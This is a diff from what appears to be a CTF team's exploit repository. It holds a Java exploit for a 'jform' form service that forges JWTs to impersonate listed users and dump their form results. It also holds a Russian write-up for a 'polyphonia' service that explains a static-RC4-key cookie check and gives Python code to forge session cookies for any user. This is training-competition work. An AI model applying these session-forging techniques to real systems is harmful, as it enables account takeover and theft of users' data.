for (int i = 0; i < length; i++) {
|
||||
sb.append(charset.charAt(random.nextInt(charset.length())));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] rndBytes(int length) {
|
||||
byte[] bytes = new byte[length];
|
||||
secureRandom.nextBytes(bytes);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static byte[] rndBytesFast(int length) {
|
||||
byte[] bytes = new byte[length];
|
||||
random.nextBytes(bytes);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static int rndInt(int min, int max) {
|
||||
return random.nextInt(max - min) + min;
|
||||
}
|
||||
|
||||
public static int rndInt(int max) {
|
||||
return random.nextInt(max);
|
||||
}
|
||||
|
||||
public static long rndLong() {
|
||||
return random.nextLong();
|
||||
}
|
||||
|
||||
public static String toHex(byte[] bytes) {
|
||||
StringBuilder sb = new StringBuilder(bytes.length * 2);
|
||||
for (byte b : bytes) {
|
||||
sb.append(String.format("%02x", b));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static byte[] fromHex(String hex) {
|
||||
int len = hex.length();
|
||||
byte[] data = new byte[len / 2];
|
||||
for (int i = 0; i < len; i += 2) {
|
||||
data[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4)
|
||||
+ Character.digit(hex.charAt(i+1), 16));
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
public static String toBase64(byte[] bytes) {
|
||||
return Base64.getEncoder().encodeToString(bytes);
|
||||
}
|
||||
|
||||
public static String toBase64(String str) {
|
||||
return Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
|
||||
public static byte[] fromBase64(String base64) {
|
||||
return Base64.getDecoder().decode(base64);
|
||||
}
|
||||
|
||||
public static String fromBase64String(String base64) {
|
||||
return new String(Base64.getDecoder().decode(base64), StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
public static String toBase64Url(byte[] bytes) {
|
||||
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
|
||||
}
|
||||
|
||||
public static byte[] fromBase64Url(String base64) {
|
||||
return Base64.getUrlDecoder().decode(base64);
|
||||
}
|
||||
|
||||
public static String md5(String input) {
|
||||
return hash(input, "MD5");
|
||||
}
|
||||
|
||||
public static String sha1(String input) {
|
||||
return hash(input, "SHA-1");
|
||||
}
|
||||
|
||||
public static String sha256(String input) {
|
||||
return hash(input, "SHA-256");
|
||||
}
|
||||
|
||||
public static String hash(String input, String algorithm) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance(algorithm);
|
||||
byte[] hash = md.digest(input.getBytes(StandardCharsets.UTF_8));
|
||||
return toHex(hash);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] hashBytes(byte[] input, String algorithm) {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance(algorithm);
|
||||
return md.digest(input);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Hash failed: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
public static long timestamp() {
|
||||
return System.currentTimeMillis();
|
||||
}
|
||||
|
||||
public static long timestampSec() {
|
||||
return System.currentTimeMillis() / 1000;
|
||||
}
|
||||
|
||||
public static void sleep(long ms) {
|
||||
try {
|
||||
Thread.sleep(ms);
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
|
||||
public static void sleepSec(long seconds) {
|
||||
sleep(seconds * 1000);
|
||||
}
|
||||
|
||||
public static String repeat(String str, int count) {
|
||||
return str.repeat(count);
|
||||
}
|
||||
|
||||
public static String padLeft(String str, int length, char padChar) {
|
||||
if (str.length() >= length) return str;
|
||||
return String.valueOf(padChar).repeat(length - str.length()) + str;
|
||||
}
|
||||
|
||||
public static String padRight(String str, int length, char padChar) {
|
||||
if (str.length() >= length) return str;
|
||||
return str + String.valueOf(padChar).repeat(length - str.length());
|
||||
}
|
||||
|
||||
public static void info(String msg) {
|
||||
System.out.println("[*] " + msg);
|
||||
}
|
||||
|
||||
public static void success(String msg) {
|
||||
System.out.println("[+] " + msg);
|
||||
}
|
||||
|
||||
public static void error(String msg) {
|
||||
System.out.println("[-] " + msg);
|
||||
}
|
||||
|
||||
public static void warn(String msg) {
|
||||
System.out.println("[!] " + msg);
|
||||
}
|
||||
|
||||
public static void debug(String msg) {
|
||||
System.out.println("[DEBUG] " + msg);
|
||||
}
|
||||
|
||||
public static void hexDump(byte[] data) {
|
||||
hexDump(data, 16);
|
||||
}
|
||||
|
||||
public static void hexDump(byte[] data, int bytesPerLine) {
|
||||
for (int i = 0; i < data.length; i += bytesPerLine) {
|
||||
System.out.printf("%08x: ", i);
|
||||
|
||||
for (int j = 0; j < bytesPerLine; j++) {
|
||||
if (i + j < data.length) {
|
||||
System.out.printf("%02x ", data[i + j]);
|
||||
} else {
|
||||
System.out.print(" ");
|
||||
}
|
||||
}
|
||||
|
||||
System.out.print(" | ");
|
||||
|
||||
for (int j = 0; j < bytesPerLine && i + j < data.length; j++) {
|
||||
byte b = data[i + j];
|
||||
if (b >= 32 && b < 127) {
|
||||
System.out.print((char) b);
|
||||
} else {
|
||||
System.out.print('.');
|
||||
}
|
||||
}
|
||||
|
||||
System.out.println();
|
||||
}
|
||||
}
|
||||
}
|
||||
387
OmCTF-2025/sploits/jform/ClientLib.java
Normal file
387
OmCTF-2025/sploits/jform/ClientLib.java
Normal file
@@ -0,0 +1,387 @@
|
||||
import java.net.URI;
|
||||
import java.net.http.HttpClient;
|
||||
import java.net.http.HttpRequest;
|
||||
import java.net.http.HttpResponse;
|
||||
import java.net.CookieManager;
|
||||
import java.net.HttpCookie;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
import java.util.ArrayList;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
public class ClientLib {
|
||||
private final String baseUrl;
|
||||
private final HttpClient httpClient;
|
||||
private final CookieManager cookieManager;
|
||||
|
||||
private String userId;
|
||||
private String username;
|
||||
private String authToken;
|
||||
|
||||
public ClientLib(String serviceUrl) {
|
||||
this.baseUrl = serviceUrl.endsWith("/") ? serviceUrl.substring(0, serviceUrl.length() - 1) : serviceUrl;
|
||||
this.cookieManager = new CookieManager();
|
||||
this.httpClient = HttpClient.newBuilder()
|
||||
.cookieHandler(cookieManager)
|
||||
.build();
|
||||
}
|
||||
|
||||
public Map<String, Object> registerUser(String username, String password) throws Exception {
|
||||
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
|
||||
|
||||
String response = post("/api/account/signup", body);
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
|
||||
this.username = (String) result.get("username");
|
||||
Object userIdObj = result.get("userId");
|
||||
this.userId = String.valueOf(userIdObj);
|
||||
extractCookies();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> login(String username, String password) throws Exception {
|
||||
String body = "{\"username\":\"" + jsonEscape(username) + "\",\"password\":\"" + jsonEscape(password) + "\"}";
|
||||
|
||||
String response = post("/api/account/login", body);
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
if (result.containsKey("success") && Boolean.TRUE.equals(result.get("success"))) {
|
||||
this.username = (String) result.get("username");
|
||||
Object userIdObj = result.get("userId");
|
||||
this.userId = String.valueOf(userIdObj);
|
||||
extractCookies();
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> getCurrentUser() throws Exception {
|
||||
String response = get("/api/account/me");
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> logout() throws Exception {
|
||||
String response = post("/api/account/logout", "{}");
|
||||
Map<String, Object> result = parseJsonObject(response);
|
||||
|
||||
this.userId = null;
|
||||
this.username = null;
|
||||
this.authToken = null;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public Map<String, Object> createForm(Map<String, Object> schema) throws Exception {
|
||||
String schemaJson = mapToJson(schema);
|
||||
String body = "{\"schema\":" + schemaJson + "}";
|
||||
|
||||
String response = post("/api/form/new", body);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> getForm(String formId) throws Exception {
|
||||
String response = get("/api/form/" + formId);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> updateForm(String formId, Map<String, Object> schema) throws Exception {
|
||||
String schemaJson = mapToJson(schema);
|
||||
String body = "{\"schema\":" + schemaJson + "}";
|
||||
|
||||
String response = put("/api/form/" + formId, body);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public Map<String, Object> submitFormResponse(String formId, Map<String, Object> payload) throws Exception {
|
||||
String payloadJson = mapToJson(payload);
|
||||
|
||||
String response = post("/api/form/" + formId + "/submit", payloadJson);
|
||||
return parseJsonObject(response);
|
||||
}
|
||||
|
||||
public List<Map<String, Object>> getMyForms() throws Exception {
|
||||
String response = get("/api/form/my-forms");
|
||||
return parseJsonArray(response);
|
||||
}
|
||||
|
||||
public List<String> getFormResults(String formId) throws Exception {
|
||||
String response = get("/api/form/" + formId + "/results");
|
||||
return parseStringArray(response);
|
||||
}
|
||||
|
||||
private String get(String endpoint) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.GET()
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private String post(String endpoint, String jsonBody) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.header("Content-Type", "application/json")
|
||||
.POST(HttpRequest.BodyPublishers.ofString(jsonBody))
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private String put(String endpoint, String jsonBody) throws Exception {
|
||||
HttpRequest request = HttpRequest.newBuilder()
|
||||
.uri(URI.create(baseUrl + endpoint))
|
||||
.header("Content-Type", "application/json")
|
||||
.PUT(HttpRequest.BodyPublishers.ofString(jsonBody))
|
||||
.build();
|
||||
|
||||
HttpResponse<String> response = httpClient.send(request, HttpResponse.BodyHandlers.ofString());
|
||||
return response.body();
|
||||
}
|
||||
|
||||
private void extractCookies() {
|
||||
List<HttpCookie> cookies = cookieManager.getCookieStore().getCookies();
|
||||
for (HttpCookie cookie : cookies) {
|
||||
switch (cookie.getName()) {
|
||||
case "uid":
|
||||
this.userId = cookie.getValue();
|
||||
break;
|
||||
case "u":
|
||||
this.username = cookie.getValue();
|
||||
break;
|
||||
case "auth":
|
||||
this.authToken = cookie.getValue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUserId() {
|
||||
return userId;
|
||||
}
|
||||
|
||||
public String getUsername() {
|
||||
return username;
|
||||
}
|
||||
|
||||
public String getAuthToken() {
|
||||
return authToken;
|
||||
}
|
||||
|
||||
public String getBaseUrl() {
|
||||
return baseUrl;
|
||||
}
|
||||
|
||||
public boolean isAuthenticated() {
|
||||
return username != null && authToken != null && userId != null;
|
||||
}
|
||||
|
||||
public void setSessionCookies(String userId, String username, String authToken) {
|
||||
this.userId = userId;
|
||||
this.username = username;
|
||||
this.authToken = authToken;
|
||||
|
||||
try {
|
||||
URI uri = new URI(baseUrl);
|
||||
HttpCookie uidCookie = new HttpCookie("uid", userId);
|
||||
uidCookie.setPath("/");
|
||||
uidCookie.setDomain(uri.getHost());
|
||||
|
||||
HttpCookie uCookie = new HttpCookie("u", username);
|
||||
uCookie.setPath("/");
|
||||
uCookie.setDomain(uri.getHost());
|
||||
|
||||
HttpCookie authCookie = new HttpCookie("auth", authToken);
|
||||
authCookie.setPath("/");
|
||||
authCookie.setDomain(uri.getHost());
|
||||
|
||||
cookieManager.getCookieStore().add(uri, uidCookie);
|
||||
cookieManager.getCookieStore().add(uri, uCookie);
|
||||
cookieManager.getCookieStore().add(uri, authCookie);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String jsonEscape(String str) {
|
||||
return str.replace("\\", "\\\\")
|
||||
.replace("\"", "\\\"")
|
||||
.replace("\n", "\\n")
|
||||
.replace("\r", "\\r")
|
||||
.replace("\t", "\\t");
|
||||
}
|
||||
|
||||
private String mapToJson(Map<String, Object> map) {
|
||||
StringBuilder sb = new StringBuilder("{");
|
||||
boolean first = true;
|
||||
for (Map.Entry<String, Object> entry : map.entrySet()) {
|
||||
if (!first) sb.append(",");
|
||||
first = false;
|
||||
sb.append("\"").append(jsonEscape(entry.getKey())).append("\":");
|
||||
sb.append(valueToJson(entry.getValue()));
|
||||
}
|
||||
sb.append("}");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private String valueToJson(Object value) {
|
||||
if (value == null) {
|
||||
return "null";
|
||||
} else if (value instanceof String) {
|
||||
return "\"" + jsonEscape((String) value) + "\"";
|
||||
} else if (value instanceof Number || value instanceof Boolean) {
|
||||
return value.toString();
|
||||
} else if (value instanceof Map) {
|
||||
return mapToJson((Map<String, Object>) value);
|
||||
} else if (value instanceof List) {
|
||||
StringBuilder sb = new StringBuilder("[");
|
||||
boolean first = true;
|
||||
for (Object item : (List<?>) value) {
|
||||
if (!first) sb.append(",");
|
||||
first = false;
|
||||
sb.append(valueToJson(item));
|
||||
}
|
||||
sb.append("]");
|
||||
return sb.toString();
|
||||
} else {
|
||||
return "\"" + jsonEscape(value.toString()) + "\"";
|
||||
}
|
||||
}
|
||||
|
||||
private Map<String, Object> parseJsonObject(String json) {
|
||||
Map<String, Object> result = new HashMap<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("{") || !json.endsWith("}")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
Pattern pattern = Pattern.compile("\"([^\"]+)\"\\s*:\\s*([^,}]+|\\{[^}]*\\}|\\[[^\\]]*\\]|\"[^\"]*\")");
|
||||
Matcher matcher = pattern.matcher(json);
|
||||
|
||||
while (matcher.find()) {
|
||||
String key = matcher.group(1);
|
||||
String value = matcher.group(2).trim();
|
||||
result.put(key, parseValue(value));
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<Map<String, Object>> parseJsonArray(String json) {
|
||||
List<Map<String, Object>> result = new ArrayList<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("[") || !json.endsWith("]")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
if (json.isEmpty()) {
|
||||
return result;
|
||||
}
|
||||
|
||||
int depth = 0;
|
||||
StringBuilder current = new StringBuilder();
|
||||
for (char c : json.toCharArray()) {
|
||||
if (c == '{') depth++;
|
||||
else if (c == '}') depth--;
|
||||
|
||||
if (c == ',' && depth == 0) {
|
||||
result.add(parseJsonObject(current.toString()));
|
||||
current = new StringBuilder();
|
||||
} else {
|
||||
current.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
if (current.length() > 0) {
|
||||
result.add(parseJsonObject(current.toString()));
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<String> parseStringArray(String json) {
|
||||
List<String> result = new ArrayList<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("[") || !json.endsWith("]")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
if (json.isEmpty()) {
|
||||
return result;
|
||||
}
|
||||
|
||||
int depth = 0;
|
||||
boolean inString = false;
|
||||
StringBuilder current = new StringBuilder();
|
||||
|
||||
for (int i = 0; i < json.length(); i++) {
|
||||
char c = json.charAt(i);
|
||||
|
||||
if (c == '"' && (i == 0 || json.charAt(i - 1) != '\\')) {
|
||||
inString = !inString;
|
||||
}
|
||||
|
||||
if (!inString) {
|
||||
if (c == '{' || c == '[') depth++;
|
||||
else if (c == '}' || c == ']') depth--;
|
||||
}
|
||||
|
||||
if (c == ',' && depth == 0 && !inString) {
|
||||
String item = current.toString().trim();
|
||||
if (item.startsWith("\"") && item.endsWith("\"")) {
|
||||
item = item.substring(1, item.length() - 1);
|
||||
}
|
||||
result.add(item);
|
||||
current = new StringBuilder();
|
||||
} else {
|
||||
current.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
if (current.length() > 0) {
|
||||
String item = current.toString().trim();
|
||||
if (item.startsWith("\"") && item.endsWith("\"")) {
|
||||
item = item.substring(1, item.length() - 1);
|
||||
}
|
||||
result.add(item);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private Object parseValue(String value) {
|
||||
value = value.trim();
|
||||
|
||||
if (value.equals("null")) {
|
||||
return null;
|
||||
} else if (value.equals("true")) {
|
||||
return Boolean.TRUE;
|
||||
} else if (value.equals("false")) {
|
||||
return Boolean.FALSE;
|
||||
} else if (value.startsWith("\"") && value.endsWith("\"")) {
|
||||
return value.substring(1, value.length() - 1);
|
||||
} else if (value.matches("-?\\d+")) {
|
||||
return Long.parseLong(value);
|
||||
} else if (value.matches("-?\\d+\\.\\d+")) {
|
||||
return Double.parseDouble(value);
|
||||
} else {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
}
|
||||
28
OmCTF-2025/sploits/jform/Makefile
Normal file
28
OmCTF-2025/sploits/jform/Makefile
Normal file
@@ -0,0 +1,28 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
RM = del /Q
|
||||
JAVAC = javac
|
||||
else
|
||||
RM = rm -f
|
||||
JAVAC = javac
|
||||
endif
|
||||
|
||||
.PHONY: clean compile run
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
$(RM) *.class 2>nul || exit 0
|
||||
else
|
||||
$(RM) *.class
|
||||
endif
|
||||
|
||||
compile:
|
||||
$(JAVAC) -encoding UTF-8 Sploit.java
|
||||
|
||||
run:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
java Sploit $(ARGS)
|
||||
else
|
||||
bash run.sh $(ARGS)
|
||||
endif
|
||||
|
||||
all: clean compile
|
||||
18
OmCTF-2025/sploits/jform/README.md
Normal file
18
OmCTF-2025/sploits/jform/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
Зависимости: Java 11+, make
|
||||
Как запустить сплоит:
|
||||
|
||||
в run.sh/run.bat обновить url attack_data
|
||||
|
||||
linux:
|
||||
```
|
||||
make clean
|
||||
make compile
|
||||
./run.sh attack_ip
|
||||
```
|
||||
|
||||
win:
|
||||
```
|
||||
make clean
|
||||
make compile
|
||||
./run.bat attack_ip
|
||||
```
|
||||
87
OmCTF-2025/sploits/jform/Sploit.java
Normal file
87
OmCTF-2025/sploits/jform/Sploit.java
Normal file
@@ -0,0 +1,87 @@
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
public class Sploit {
|
||||
public static void main(String[] args) throws Exception {
|
||||
String serviceUrl = "http://" + args[0] + ":5003";
|
||||
ClientLib client = new ClientLib(serviceUrl);
|
||||
|
||||
String attackDataUrl = args[1];
|
||||
|
||||
String username = CheckLib.generateUsername();
|
||||
String password = CheckLib.generatePassword();
|
||||
|
||||
Map<String, Object> registerResult = client.registerUser(username, password);
|
||||
System.out.println("[+] Registration result: " + registerResult);
|
||||
|
||||
System.out.println("[+] User ID: " + client.getUserId());
|
||||
System.out.println("[+] Username: " + client.getUsername());
|
||||
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
||||
System.out.println("[+] Authenticated: " + client.isAuthenticated());
|
||||
|
||||
System.out.println("\n[*] Getting current user info...");
|
||||
Map<String, Object> userInfo = client.getCurrentUser();
|
||||
System.out.println("[+] User info: " + userInfo);
|
||||
|
||||
System.out.println("\n[*] Creating a form...");
|
||||
Map<String, Object> schema = new HashMap<>();
|
||||
schema.put("title", CheckLib.rndString(10));
|
||||
schema.put("description", CheckLib.rndString(10));
|
||||
|
||||
Map<String, Object> formResult = client.createForm(schema);
|
||||
System.out.println("[+] Form created: " + formResult);
|
||||
|
||||
String formId = (String) formResult.get("formId");
|
||||
long formNumber = (long) formResult.get("formNumber");
|
||||
|
||||
System.out.println("\n[*] Creating a form...");
|
||||
Map<String, Object> schema2 = new HashMap<>();
|
||||
schema2.put("title", CheckLib.rndString(10));
|
||||
schema2.put("description", CheckLib.rndString(10));
|
||||
|
||||
Map<String, Object> formResult2 = client.createForm(schema2);
|
||||
System.out.println("[+] Form created: " + formResult2);
|
||||
|
||||
String formId2 = (String) formResult2.get("formId");
|
||||
|
||||
System.out.println("[+] Form ID: " + formId);
|
||||
|
||||
System.out.println("[+] Form 1: " + formId);
|
||||
System.out.println("[+] Form 2: " + formId2);
|
||||
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
||||
System.out.println("[+] Username: " + username);
|
||||
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
||||
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
||||
|
||||
List<Map<String, Object>> myForms1 = client.getMyForms();
|
||||
System.out.println("[+] My forms: " + myForms1);
|
||||
|
||||
System.out.println("\n[*] Fetching attack data for host: " + args[0]);
|
||||
List<Map<String, String>> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl);
|
||||
System.out.println("[+] Target users: " + targetUsers);
|
||||
|
||||
long userId = ((Number) userInfo.get("userId")).longValue();
|
||||
System.out.println("[+] Current User ID: " + userId);
|
||||
|
||||
Map<String, String>[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2);
|
||||
System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs");
|
||||
|
||||
for (Map<String, String> jwtData : jwtsWithUsers) {
|
||||
String jwt = jwtData.get("jwt");
|
||||
String targetUsername = jwtData.get("username");
|
||||
String targetUserId = jwtData.get("userId");
|
||||
|
||||
client.setSessionCookies(targetUserId, targetUsername, jwt);
|
||||
|
||||
System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")");
|
||||
System.out.println("[+] Check auth: " + client.isAuthenticated());
|
||||
|
||||
List<Map<String, Object>> myForms = client.getMyForms();
|
||||
|
||||
for (Map<String, Object> form : myForms) {
|
||||
System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
5
OmCTF-2025/sploits/jform/run.bat
Normal file
5
OmCTF-2025/sploits/jform/run.bat
Normal file
@@ -0,0 +1,5 @@
|
||||
@echo off
|
||||
|
||||
set attackDataUrl=http://185.56.162.110/api/client/attack_data/
|
||||
|
||||
java Sploit %1 %attackDataUrl%
|
||||
5
OmCTF-2025/sploits/jform/run.sh
Normal file
5
OmCTF-2025/sploits/jform/run.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
attackDataUrl="http://185.56.162.110/api/client/attack_data/"
|
||||
|
||||
java Sploit $1 $attackDataUrl
|
||||
177
OmCTF-2025/sploits/polyphonia/README.md
Normal file
177
OmCTF-2025/sploits/polyphonia/README.md
Normal file
@@ -0,0 +1,177 @@
|
||||
# writeup | polyphonia
|
||||
|
||||
Уязвимость здесь находится в функции `authenticate_cookie` (см. `sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c`):
|
||||
```c
|
||||
int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
|
||||
{
|
||||
if (!cookie_hex)
|
||||
return 0;
|
||||
|
||||
if (out_username && username_len > 0)
|
||||
out_username[0] = '\0';
|
||||
if (out_user_id)
|
||||
*out_user_id = -1;
|
||||
|
||||
char username_buf[64];
|
||||
int user_id = db_get_session_user(cookie_hex, username_buf);
|
||||
if (user_id > 0)
|
||||
{
|
||||
if (out_user_id)
|
||||
*out_user_id = user_id;
|
||||
if (out_username && username_len > 0)
|
||||
{
|
||||
strncpy(out_username, username_buf, username_len - 1);
|
||||
out_username[username_len - 1] = '\0';
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
unsigned char session_bytes[SESSION_ID_LEN];
|
||||
if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
|
||||
return 0;
|
||||
|
||||
unsigned char decrypted[SESSION_ID_LEN];
|
||||
unsigned char keybuf[22];
|
||||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||||
rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);
|
||||
|
||||
char username[65];
|
||||
size_t name_len = 0;
|
||||
while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
|
||||
{
|
||||
username[name_len] = (char)decrypted[name_len];
|
||||
name_len++;
|
||||
}
|
||||
username[name_len] = '\0';
|
||||
|
||||
if (name_len == 0)
|
||||
return 0;
|
||||
|
||||
user_id = db_get_user_by_username(username, username_buf);
|
||||
if (user_id <= 0)
|
||||
return 0;
|
||||
|
||||
if (out_user_id)
|
||||
*out_user_id = user_id;
|
||||
if (out_username && username_len > 0)
|
||||
{
|
||||
strncpy(out_username, username_buf, username_len - 1);
|
||||
out_username[username_len - 1] = '\0';
|
||||
}
|
||||
|
||||
return 2;
|
||||
}
|
||||
```
|
||||
Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через `db_get_session_user`, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем `username` (`db_get_user_by_username`).
|
||||
Ключ всегда одинаков:
|
||||
```c
|
||||
unsigned char keybuf[22];
|
||||
derive_rc4_key(keybuf, sizeof(keybuf));
|
||||
```
|
||||
Соответственно можем сделать подходящую куку на любого юзера:
|
||||
```python
|
||||
def forge_cookie(username: str) -> str:
|
||||
encoded = username.encode("utf-8")
|
||||
if len(encoded) > SESSION_LEN:
|
||||
raise ValueError("username too long for forged session payload")
|
||||
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
|
||||
key = derive_rc4_key(22)
|
||||
ciphertext = rc4(key, padded)
|
||||
return ciphertext.hex()
|
||||
```
|
||||
|
||||
Собственно ключ создаётся с помощью LCG:
|
||||
```python
|
||||
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
|
||||
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
|
||||
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
|
||||
def derive_rc4_key(length: int = 22) -> bytes:
|
||||
state = 0
|
||||
out = bytearray()
|
||||
while len(out) < length:
|
||||
state = (214013 * state + 2531011) & 0x7fffffff
|
||||
r = (state >> 16) & 0xFFFF
|
||||
hi = (r >> 8) & 0xFF
|
||||
lo = r & 0xFF
|
||||
if len(out) < length:
|
||||
out.append(hi)
|
||||
if len(out) < length:
|
||||
out.append(lo)
|
||||
return bytes(out)
|
||||
```
|
||||
|
||||
```python
|
||||
>>> derive_rc4_key(22).hex()
|
||||
'00261e2752f6098522972e1520ad7e1d28d2779416dd'
|
||||
```
|
||||
|
||||
Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.
|
||||
|
||||
Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
|
||||
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: `sources/polyphonia/obfuscator_src`
|
||||
|
||||
Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: `services/polyphonia/dist/polyphonia-server-binary`. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.
|
||||
|
||||
Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции `vm_execute_internal` (`sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c`).
|
||||
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например `vm_decrypt_imm`, здесь расшифровываем value:
|
||||
```c
|
||||
case OP_PUSH_IMM: {
|
||||
int32_t cipher = (int32_t)vm_fetch32(&vm);
|
||||
int32_t value = vm_decrypt_imm(&vm, cipher);
|
||||
vm_push(&vm, (int64_t)value);
|
||||
#if VM_ENABLE_TRACE
|
||||
if (vm.debug)
|
||||
printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
```
|
||||
|
||||
В то же время в `vm_push`, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:
|
||||
```c
|
||||
static inline void vm_push(VMState *vm, int64_t plain)
|
||||
{
|
||||
vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
|
||||
}
|
||||
```
|
||||
|
||||
Перед dispatch-ем инструкция fetch-ится с помощью `vm_fetch8`, расшифровка - `ct ^ k`, `k` - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:
|
||||
```c
|
||||
static inline uint8_t vm_fetch8(VMState *vm)
|
||||
{
|
||||
uint8_t ct = vm->bytecode[vm->pc];
|
||||
if (!vm->code_encrypted)
|
||||
{
|
||||
vm->pc++;
|
||||
return ct;
|
||||
}
|
||||
if (vm->code_off != vm->pc)
|
||||
